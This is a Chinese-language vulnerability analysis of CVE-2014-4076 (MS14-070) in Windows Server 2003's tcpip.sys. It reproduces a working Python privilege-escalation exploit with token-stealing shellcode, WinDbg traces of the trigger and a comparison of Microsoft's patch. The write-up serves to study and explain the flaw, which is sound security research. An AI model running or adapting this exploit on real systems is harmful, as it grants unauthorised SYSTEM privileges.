CVE-2014-4076 tcpipsys 提权漏洞的分析
一、 概述:
Win2k3,sp2
Python2.7.9
VirtualKD-2.8
Windbg,IDA6.5
Tcpip.sys版本编号:5.2.3790.3959
微软编号:MS14-070
原poc:http://www.exploit-db.com/exploits/35936/
测试MITM Fuzz时发现此漏洞,通过搜索,已经被报告。15.1.28公开了exp。来分析一下该漏洞。
这是一个利用tcpip.sys可以提权的漏洞。本文将包括简化的EXP,跟踪该漏洞的触发机制,分析其shellcode的功能。最后对tcpip.sys的函数调用机制等内容做简要的分析。
二、 Python编写的EXP
Matt Bergin报告该漏洞时附带了用python编写的EXP。
在2.7.9下当然是跑不动的。由于python的版本可能不同,导致有几处参数传递的语法有变化。会报错。再因python的缩进约定,在HTML的传播过程中,较难确定python源码的缩进有没有被改变。
原EXP中使用多线程,全局变量等内容,不够简洁。几次尝试提权,成功率不太稳定。可能是没能理解原EXP的机制。
因此把原exp简化一下。简单的总是好理解,换掉启动进程部分的代码如下:
process = Popen(["c:\windows\system32\cmd.exe"], shell=False)
pid = process.pid直接启动一个cmd进程,不使用多线程。把pid返回出来。传递给shellcode。
修改后的py文件可以直接双击运行,不需要带参数。源码如下:
from optparse import OptionParser
from subprocess import Popen
from os.path import exists
from struct import pack
from threading import Thread
from time import sleep
from ctypes import *
from sys import exit
CreateFileA, NtAllocateVirtualMemory, WriteProcessMemory = windll.kernel32.CreateFileA, windll.ntdll.NtAllocateVirtualMemory, windll.kernel32.WriteProcessMemory
DeviceIoControlFile, CloseHandle = windll.ntdll.ZwDeviceIoControlFile, windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE, FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING, NULL = - \
1, 2, 1, 3, 0
def main():
print "CVE-2014-4076 x86 exploit, Level\n"
global pid, process
process = Popen(["c:\windows\system32\cmd.exe"], shell=False)
pid = process.pid
print "[+] caught attacker cmd at %s, elevating now" % (pid)
buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00"
sc = sc.replace("\x41\x41\x41\x41", pack('<L', pid))
sc = sc.replace("\x11\x11\x11\x11", "\x39\xff\xa2\xba")
sc = sc.replace("\x22\x22\x22\x22", "\x00\x00\x00\x00")
handle = CreateFileA("\\\\.\\Tcp", FILE_SHARE_WRITE |
FILE_SHARE_READ, 0, None, OPEN_EXISTING, 0, None)
if (handle == -1):
print "[!] could not open handle into the Tcp device"
exit(1)
print "[+] allocating memory"
ret_one = NtAllocateVirtualMemory(-1, byref(c_int(0x1000)),
0x0, byref(c_int(0x4000)), 0x1000 | 0x2000, 0x40)
if (ret_one != 0):
print "[!] could not allocate memory..."
exit(1)
print "[+] writing relevant memory..."
ret_two = WriteProcessMemory(-1, 0x28,
"\x87\xff\xff\x38", 4, byref(c_int(0)))
ret_three = WriteProcessMemory(-1, 0x38, "\x00" * 2, 2, byref(c_int(0)))
ret_four = WriteProcessMemory(-1, 0x1100, buf, len(buf), byref(c_int(0)))
ret_five = WriteProcessMemory(-1, 0x2b, "\x00" * 2, 2, byref(c_int(0)))
ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))
print "[+] attack setup done, crane kick!"
result = DeviceIoControlFile(handle, NULL, NULL, NULL, byref(
c_ulong(8)), 0x00120028, 0x1100, len(buf), 0x0, 0x0)
print "result"
print result
CloseHandle(handle)
exit(0)
if __name__ == "__main__":
main()三、 漏洞的调试
1、中断
打开vmmon.exe,vmware中启动操作系统win2k3 sp2。进入调试状态。
EXP.py中的sc串, 即是shellcode。第一个字节是0x60,也就是pushad指令。将其更换为0xCC,即int3中断。
ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))
ShellCode是写在地址0x2000处的。
注:除了将Shellcode的第一字节修改为0xcc之外,由于已知shellcode所处位置是0x2000故也可以直接对0x2000下内存执行断点。
Windbg中断下来后,用
kd> eb 2000 60
将0x2000处的int3换回正常的shellcode:0x60(pushad)。
用k命令:
kd> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
f5720b38 f66bd3f2 0x2000
f5720b60 f66a56b1 tcpip!ProcessAORequests+0x15f
f5720b80 f66852a0 tcpip!SetAddrOptions+0x96
f5720bb4 f6685213 tcpip!TdiSetInformationEx+0x539
f5720be8 f6684c5c tcpip!TCPSetInformationEx+0x8c
f5720c04 f6684c89 tcpip!TCPDispatchDeviceControl+0x149
f5720c3c 8081d5a3 tcpip!TCPDispatch+0xf9
f5720c50 808ed3e1 nt!IofCallDriver+0x45
f5720c64 808ee169 nt!IopSynchronousServiceTail+0x10b
f5720d00 808e6cca nt!IopXxxControlFile+0x5e5
f5720d34 80883908 nt!NtDeviceIoControlFile+0x2a
f5720d34 7c8285ec nt!KiFastCallEntry+0xf8
0021f9a4 7c826fcb ntdll!KiFastSystemCallRet
0021f9a8 1d1add9a ntdll!NtDeviceIoControlFile+0xc
0021f9dc 1d1acab6 _ctypes!DllCanUnloadNow+0x5b6a
0021fa0c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4886
0021fabc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
0021fc28 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
0021fc80 1e07cf0c _ctypes+0x54d8
00000000 00000000 python27!PyObject_Call+0x4c 在这最后一层,是python的运行环境
从栈里的情况可以看出是SetAddrOptions函数调用ProcessAORequests出现了漏洞。
反汇编窗口可以看到shellcode如下:
00002000 60 pushad 00002001 64a124010000 mov eax,dword ptr fs:[00000124h] 00002007 8b4038 mov eax,dword ptr [eax+38h] 0000200a 50 push eax 0000200b bb04000000 mov ebx,4 00002010 8b8098000000 mov eax,dword ptr [eax+98h] 00002016 2d98000000 sub eax,98h 0000201b 399894000000 cmp dword ptr [eax+94h],ebx 00002021 75ed jne 00002010 00002023 8bb8d8000000 mov edi,dword ptr [eax+0D8h] 注:token偏移量是D8 00002029 83e7f8 and edi,0FFFFFFF8h 0000202c 58 pop eax 0000202d bbd40f0000 mov ebx,0FD4h 注:FD4即是目标进程的ID 00002032 8b8098000000 mov eax,dword ptr [eax+98h] 00002038 2d98000000 sub eax,98h 0000203d 399894000000 cmp dword ptr [eax+94h],ebx 00002043 75ed jne 00002032 00002045 89b8d8000000 mov dword ptr [eax+0D8h],edi 注:token偏移量是D8 0000204b 61 popad 0000204c ba39ffa2ba mov edx,0BAA2FF39h 00002051 b900000000 mov ecx,0 00002056 b83b000000 mov eax,3Bh 0000205b 8ee0 mov fs,ax 0000205d 0f35 sysexit 0000205f 0000 add byte ptr [eax],al
进程FD4的10进制是4052。如下图所示,运行后cmd进程即拥有system权限。

2、分析Shellcode
把shellcode用.writemem写成文件。
kd> .writemem c:\shellcode.bin 2000 205f
Writing 60 bytes. 注:windbg提示写了60个字节到文件。
用ida分析bin文件,F5可以得到代码:
void __cdecl shellcode()
{
int v0_EPROCESS; // eax@1
int token; // edi@3
int v2_EPROCESS; // eax@3
int v3; // [sp-24h] [bp-24h]@1
v0_EPROCESS = *(_DWORD *)(__readfsdword(292) + 56);
v3 = v0_EPROCESS;
do
v0_EPROCESS = *(_DWORD *)(v0_EPROCESS + 152) - 152;
while ( *(_DWORD *)(v0_EPROCESS + 148) != 4 ); //PID为4的System进程
token = *(_DWORD *)(v0_EPROCESS + 0xD8) & 0xFFFFFFF8;
v2_EPROCESS = v3;
do
v2_EPROCESS = *(_DWORD *)(v2_EPROCESS + 152) - 152;
while ( *(_DWORD *)(v2_EPROCESS + 148) != 0xF80 ); //进程ID
*(_DWORD *)(v2_EPROCESS + 0xD8) = token;
__asm { sysexit }
}上述代码的作用是把PID=4的token,赋值给指定进程ID的token。
在win2k3 sp2中ERPOCESS.token的偏移量是0xD8。因此上述代码只能运用在win2k3 sp2。
kd> !process 0 0 system
PROCESS 8de8c7e0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 004f1000 ObjectTable: e1001c80 HandleCount: 1491.
Image: System
用以下命令查看token的偏移量。
kd> dt _EPROCESS 8de8c7e0 这个值是!process命令结果中紧跟在PROCESS后的值。
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x078 ProcessLock : _EX_PUSH_LOCK
+0x080 CreateTime : _LARGE_INTEGER 0x0
+0x088 ExitTime : _LARGE_INTEGER 0x0
+0x090 RundownProtect : _EX_RUNDOWN_REF
+0x094 UniqueProcessId : 0x00000004 Void
+0x098 ActiveProcessLinks : _LIST_ENTRY [ 0x8dc1e7d8 - 0x808a61c8 ]
+0x0a0 QuotaUsage : [3] 0
+0x0ac QuotaPeak : [3] 0
+0x0b8 CommitCharge : 8
+0x0bc PeakVirtualSize : 0x2b5000
+0x0c0 VirtualSize : 0x1e5000
+0x0c4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x0cc DebugPort : (null)
+0x0d0 ExceptionPort : (null)
+0x0d4 ObjectTable : 0xe1001c80 _HANDLE_TABLE
+0x0d8 Token : _EX_FAST_REF 这就是shellcode中使用的D8偏移值。
……省略很多。
3、漏洞的触发
看看EXP中有下面的代码:
ret_two = WriteProcessMemory(-1, 0x28,……
再根据对SetAddrOptions函数的静态分析。可以对内存地址0x28下访问断点。
使用ba r1 0x28命令,不出所料,将中断在下图所示的位置:
这时候,看一下寄存器的值:
kd> r ebx
ebx=00ffff87
kd> r esi
esi=00000000
继续单步,后call tcpip!ProcessAORequests。单步跟进。会来到下来这里:
f66bd3d7 8b86ec000000 mov eax,dword ptr [esi+0ECh] 注:esi=0,导致EAX=0 f66bd3dd 836628bf and dword ptr [esi+28h],0FFFFFFBFh f66bd3e1 8b4dfc mov ecx,dword ptr [ebp-4] f66bd3e4 66ff4638 inc word ptr [esi+38h] f66bd3e8 8945f4 mov dword ptr [ebp-0Ch],eax 注:前面导致EAX=0 f66bd3eb ffd3 call ebx f66bd3ed 57 push edi f66bd3ee 56 push esi f66bd3ef ff55f4 call dword ptr [ebp-0Ch] ss:0010:f5740b54=00000000 触发!
继续单步跟进:
00000000 0000 add byte ptr [eax],al ds:0023:00000000=00 00000002 0000 add byte ptr [eax],al 00000004 1000 adc byte ptr [eax],al 00000006 0000 add byte ptr [eax],al
…..省略很多,一直来到2000
00001ffc 0000 add byte ptr [eax],al 00001ffe 0000 add byte ptr [eax],al 00002000 60 pushad 注:这里来到Shellcode 00002001 64a124010000 mov eax,dword ptr fs:[00000124h]
4、EXP里对0x28,0x38的填充
这几个值的填充主要是由SetAddrOptions函数中的跳转机制决定的。其原因如下图所示。单步跟踪可以看到更详细的跳转过程。

5、微软的修补
补丁包:WindowsServer2003-KB2989935-x86-CHS.exe
补丁后的tcpip.sys版本号是5.2.3790.5440。
第一、SetAddrOptions函数
如下图,在BinDiff中,可以看到微软检查了esi值。由于GetAddrOptionsEx也要调用ProcessAORequests,对该函数也作了补丁。左边是老版本。右边是新版本。

第二、TCPSetInformationEx调用的 TdiSetInformationEx也做了改进。
老版本如下:
if ( v19 == 512 ) return SetAddrOptions(a1, *(_DWORD *)(a2 + 16), SpinLock, a3);
新版本如下:
if ( v18 == 512 )
{
if ( a5 == 1 )
return SetAddrOptions(NewIrql, *(_DWORD *)(a2 + 16), SpinLock, a3);
}从两段代码中可以看出,加入了a5==1这个判断。
进一步分析可知,该判断用于检查中断级别。
四、 访问 tcpip.sys机制
既然分析一个漏洞,就不应浅尝辙止,要尽可能刨根问底。上下左右各方面都多分析一些。
下条件断点:
bu nt!NtDeviceIoControlFile+0x13 ".if (poi([ebp+0x1C])==0x120028) {} .else {gc}"
系统中断下来。看栈里:控制码为0x120028的函数栈如下:
nt!NtDeviceIoControlFile+0x13
nt!KiFastCallEntry+0xf8
ntdll!KiFastSystemCallRet
ntdll!NtDeviceIoControlFile+0xc
wshtcpip!SetTdiInformation+0xc3
wshtcpip!WSHSetSocketInformation+0x2fd
mswsock!WSPSetSockOpt+0x42c
WS2_32!setsockopt+0xc9 注:是此函数被调用时使用控制码0x120028
在Fuzz的过程中,总是会和dwIoControlCode打交道。这里复习一下。
计算dwIoControlCode的宏:
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \ ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \ )
以tcpip.sys的常用控制码为例:
0x00120003 //注:wshtcpip!GetTdiInformation
0x00128004
0x0012801c
0x00128020
0x00120028 //本漏洞所使用的控制码
DeviceType:高16位,都是一样:0x0012。0x0012是网络设备。
Access,访问权限
Method,最低两位。
Function,最关键的部分。
用计算器来计算一下,去掉高14位和低2位:
0x00120003=100100000000000000011

Function = 0
0x00120028=100100000000000101000

Function = 0xA = 10
编写一段ring3的socket小程序,调用setsockopt:
WSADATA wsaData;
int err = WSAStartup( MAKEWORD(2,2),&wsaData);
if (err!=0)
{
WSACleanup();
}
SOCKET sListen;
int a=4;
int sendBufSize=1024*10;
SOCKADDR_IN addr;
addr.sin_family=AF_INET;
addr.sin_port=htons(8888);
addr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
sListen=socket(AF_INET,SOCK_STREAM,0);
bind(sListen,(sockaddr *)&addr,sizeof(SOCKADDR_IN));
int error=listen(sListen,SOMAXCONN);
if (SOCKET_ERROR ==error)
{
cout<<"listen fail"<<endl;
}
int fff=setsockopt(sListen,SOL_SOCKET,SO_RCVBUF,(char *)&sendBufSize,a);
if (SOCKET_ERROR==fff)
{
cout<<"setsockopt error:"<<WSAGetLastError()<<endl;
}
system("pause");用windbg加载上面的exe,对setsockopt下断,可以跟踪WS2_32->mswsock->wshtcpip到tcpip.sys的过程。
使用0:000> uf SetTdiInformation命令,可以看到0x120028参数:

完
